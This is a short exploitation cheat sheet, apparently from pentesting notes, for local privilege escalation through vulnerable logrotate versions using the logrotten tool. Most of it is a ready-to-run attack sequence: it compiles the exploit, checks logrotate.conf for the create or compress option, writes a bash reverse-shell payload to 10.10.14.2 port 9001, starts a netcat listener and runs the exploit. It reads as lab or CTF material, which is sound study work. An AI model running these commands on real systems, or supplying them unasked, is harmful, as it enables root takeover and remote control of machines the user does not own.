Logrotate
Pre-Requisites
write permissions on the log files
logrotate must run as privileged user or root
vulnerable versions:
3.8.6
3.11.0
3.15.0
3.18.0
Sample Exploitation
Compile logrotten
$ git clone https://github.com/whotwagner/logrotten.git $ cd logrotten $ gcc logrotten.c -o logrotten
Identify which option logrotate uses in logrotate.conf
$ grep "create\|compress" /etc/logrotate.conf | grep -v "#" create
Create a payload
$ echo 'bash -i >& /dev/tcp/10.10.14.2/9001 0>&1' > payload
Start listener
$ nc -nlvp 9001
Run the exploit
If create option in logrotate.conf
$ ./logrotten -p ./payload /tmp/tmp.log
If compress option
$ ./logrotten -p ./payload -c -s 4 /tmp/tmp.log
Last updated